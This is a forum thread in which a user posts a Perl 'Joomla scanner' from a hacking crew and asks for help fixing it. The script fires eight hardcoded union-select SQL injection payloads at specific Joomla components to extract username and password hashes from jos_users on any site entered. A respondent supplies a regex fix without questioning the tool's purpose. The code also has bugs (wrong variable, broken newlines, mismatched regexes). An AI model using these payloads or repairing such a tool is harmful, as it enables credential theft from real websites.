what wrong

[kiddies]

#!/usr/bin/perl -w
#
#
#
#programmer:kiddies A.K.A peneter@darkc0de
#concact:crasher_1412[at]yahoo[dot]com
#This tool dedicate for Euzhan_jagoan(mrs.Hacker@devilzc0de), your my heroin for make spirit in mylife, someday i will tell u i love you!!!
#greetz:mywisdom,gunslinger_,flyff666,petimati,gonzhack,devil_nongkrong,xtr0nic,spykit and all devilzc0de crew
#greetz:d3hydr8 (thanks for your inspirate for me, the inspirate is wordpressscanner.py), DaNzeL( where is your flash crew, i miss that forum),VMw4r3(thanks for test my tool)
#this tool for scan joomla vulnerablity,SQL Injection.

use LWP::UserAgent;
use HTTP::Request;


printf "=================================================\n";
printf "                   JScanner.pl                   \n";
printf "           Joomla Scanner Vulnerablity           \n";
printf "                 Devilzc0de crew                 \n";
printf "=================================================\n";
printf "\n";
printf "[Please insert site for scanning]\n";	
print "peneter@darkc0de~#";chomp(my $site=<STDIN>);

if ($site =~ /http:// ){
$target = $site."/";
} else {
$target = "http://".$site."/";
}

#array for scanning
	@hole = ('index.php?option=com_jbudgetsmagic&view=mybudget&bid=9999+union+select+1,2,3,4,concat_ws(0x3a,username,password),6,7,8,9,10+from+jos_users--','index.php?option=com_surveymanager&task=editsurvey&stype=-2+union+select+1,concat_ws(0x3a,username,password),3,4,5,6+from+jos_users--','index.php?option=com_joomloc&controller=loc&view=loc&layout=loc&task=edit&cid[]=1&id=1 and 1=2 union select 1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56+from+jos_users','index.php?option=com_gameserver&view=gamepanel&id=999999/**/and/**/1=2/**/union/**/select/**/group_concat(username,char(58),password)v3n0m/**/from/**/jos_users--','index.php?option=com_digifolio&view=project&id=4/**/and/**/1=2/**/union/**/select/**/1,2,group_concat(username,char(58),password),4,5,6,7,8,9,10,11,12,13,14,15,16,17/**/from/**/jos_users--','index.php?option=com_siirler&task=sdetay&sid=364+and+1=2+union+select+concat(username,char(58),password)+from+jos_users--','index.php?option=com_category&task=loadCategory&catid=-9999+AND+1=0+union+all+select%201,2,group_concat(username,0x3a,password),4,5+from+jos_users--','index.php?option=com_propertylab&task=propertysearch&type=forsale&minprice=1&start=0&perpage=20&auction_id=26+and+1=2+union+select+1,2,3,4,5,6,concat(username,0x3a,password)+from+jos_users');

foreach $scan(@hole){

$url = $site.$scan;
my $request = HTTP::Request->new(GET=>$url);
my $useragent = LWP::UserAgent->new();
my $useragent->timeout(10);
my $response = $useragent->request($request);

if ($response->is_success){
	my $res = $response->as_string;
		if ($res =~ /::(.*)::/){
			print "n[!] Username : $1n";
			}
		if ($res =~ /devilzc0der(.*)devilzc0der/){
			print "[!] Password : $1 n";
		}else{
		print "Failed !n";
		}
print "[-] Done !n";
}
}

this source have an error, help me to repair this source,thanks for help me...i was dizzy

[debtboy]

What was the error?
Depending on the error, perl tells you what line it's on.

Assuming we don't know what or where the error is...
Just looking at it, your matching regex needs to be escaped

if ($site =~ /http:// ){

I can't test right now, but this should do:

if ($site =~ /http:\// ){

[neverbugme]

Google it.

[kiddies]

ok....